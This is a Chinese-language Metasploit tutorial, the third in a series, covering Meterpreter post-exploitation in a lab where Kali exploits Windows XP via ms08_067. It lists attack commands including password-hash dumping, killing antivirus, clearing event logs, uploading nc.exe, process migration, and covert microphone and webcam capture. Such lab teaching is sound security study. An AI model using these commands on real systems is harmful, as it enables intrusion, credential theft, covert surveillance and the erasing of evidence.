MSF——Meterpreter(三)


MSF系列:

MSF——基本使用和Exploit模塊(一)

MSF——Payload模塊(二)

MSF——Meterpreter(三)

MSF——信息收集(四)

簡介

Meterpreter是Metasploit提供的一個非常強大的后滲透工具

Meterpreter可以看成特殊的Payload,之前我們的Payload都是為了獲得目標系統的shell

這里的payload就是shellcode,以獲得目標系統的shell為目的的payload

我們獲得的shell有些缺陷,僅利用shell來收集更多的信息、做更多的事情的話是一個偏笨拙的辦法。利用Meterpreter可以打開麥克風、用圖形界面顯示被攻擊者的操作界面等等。

Meterpreter有以下優勢:

  • 完全基於內存的DLL注入式Payload,純內存工作,不需要對磁盤進行任何寫入操作
  • 使用加密通信協議,而且可以同時與幾個信道通信
  • 在被攻擊進程內工作,不需要創建新的進程
  • 易於在多進程之間遷移

執行過程:

  • 注入合法系統進程並建立Stager
  • 基於Stager上傳和預加載DLL進行擴展模塊的注入(客戶端API)
  • 基於Stager建立的socket連接建立加密的TLS通信隧道
  • 利用TLS隧道進一步加載后續擴展模塊(避免網絡取證)

基本命令

獲得Meterpreter Shell

我們先獲得一個Meterpreter的shell然后繼續后面的內容

實驗機器:

  • Kali Rolling 4.8.10,IP地址192.168.171.129
  • Windows XP Professional SP3,打開445端口,關閉防火牆,IP地址192.168.171.134

XP打開445端口

在cmd命令中輸入netstat -nao查看445端口是否在監聽狀態,如果是則跳過,不是則往下繼續進行

 依次打開目錄HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NetBT\Parameters,得到下面的結果

雙擊SMBDeviceEnabled

 將數值數據改成1,然后點確定即可

 輸入netstat -nao,查看是否已經打開,如果沒有則重啟一下機器

Kali開始攻擊

我們用ms08_067這個漏洞進行攻擊,payload選擇Meterpreter的payload,其中targets選擇了 Id為34的系統,即Windows XP SP3 Chinese - Simplified (NX)

然后輸入 exploit -j 進行攻擊,可以看到先發送了stage,然后創建了Meterpreter會話

現在我們進入這個Meterpreter Shell

基本命令

可以輸入help查看一些命令,如果想回到MSF可以輸入background

  • pwd:pwd是Linux的命令,Windows是沒有的,但在Meterpreter Shell中我們可以用這個命令查看當前所在的目錄位置
  • cd:切換目錄

  • dir / ls: 列出當前目錄的內容

  • cat:查看文件內容
  • mkdir:創建目錄
  • rm:刪除文件
  • rmdir:刪除文件夾
  • mv:移動文件
  • cp:復制文件
  • edit:其實就是Linux 下的 vi 命令
  • lpwd:指 local pwd,查看本地當前的工作目錄
  • lcd:切換本地目錄
  • getuid:查看Meterpreter登錄到系統的用戶
  • getsystem:獲取system權限
  • getprivs:查看用戶權限
  • getpid:Meterpreter是注入到一個合法的進程里面的,然后可以用ps查看我們注入的是哪個進程
  • migrate:將Meterpreter遷移到我們想注入的進程里面,migrate pid
    • 比如services.exe的pid是664,我們可以migrate 664
  • run / bgrun:運行命令,有200多個功能,但不保證所有模塊能在目標機器上正常運行,bgrun是在后台運行而不是前台
    • run post/windows/manage/killav 用來殺掉殺毒軟件
    • run post/windows/gather/smart_hashdump 獲得系統賬號和密碼的hash,跟直接輸入hashdump是一樣的
    • run service_manager -l 獲得目標系統的服務
    • run vnc 圖形化的遠程管理
  • clearev:清除目標系統日志。
    • XP電腦運行中輸入eventvwr可以打開事件查看器
    • 這時候再去查看已經沒有日志了,只有一條日志成功清除的記錄 

  • download:下載目標系統的文件到 “lpwd” 目錄下
  • upload:上傳文件,upload /usr/share/windows-binaries/nc.exe C:\\WINDOWS\\system32,“\”有轉義符的意思,我們這里需要兩條“\”
  • execute:執行命令,-f 后面跟需要執行的命令
    • 和cmd交互:execute -f cmd.exe -i,直接輸入shell也能獲得操作系統的shell
  • ps:查看目標正在運行的進程
  • netstat:查看目標的網絡連接狀況、端口開放情況
  • sysinfo:目標操作系統信息
  • kill:殺死進程
  • reboot:重啟機器
  • shutdown:關閉機器
  • shell:獲得操作系統的shell
  • show_mount:掛載了幾個分區
  • search:搜索目標系統的上的文件
    • search -f win.ini
  • arp:查看目標機器的arp緩存
  • ipconfig / ifconfig:查看目標IP信息
  • route:查看路由表
    • 可以添加、刪除路由,可以通過route -h查看操作
  • idletime:目標操作系統已經空閑了多長時間,即多長時間沒進行操作。時間久可以猜測用戶不在計算機前。
  • resource:調用一個外部的資源文件
    • 比如在Kali的“lpwd”目錄創建一個 test.txt,里面填入“pwd”等命令,一條命令一行
    • resource test.txt
  • record_mic:用目標的麥克風記錄聲音
  • webcam_list:列出目標機器上的攝像頭
  • webcam_snap:用攝像頭拍照
    • webcam_snap -i 1 -v false:每隔1秒拍一次照

Meterpreter Python擴展

目標機器無需安裝Python運行環境,就能運行原生Python代碼。

這個擴展以插件的形式存在,我們需要先加載這個加載:

load python

  • python_execute "print ('hello')",直接執行python代碼
  • python_execute "import os; cd = os.getcwd()" -r cd,將os.getcwd()賦值給 cd 這個變量,然后用 -r cd 讀取 cd 這個變量的值
  • python_import -f test.py,導入一個寫好的python腳本
# test.py
import os print(os.getcwd())

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM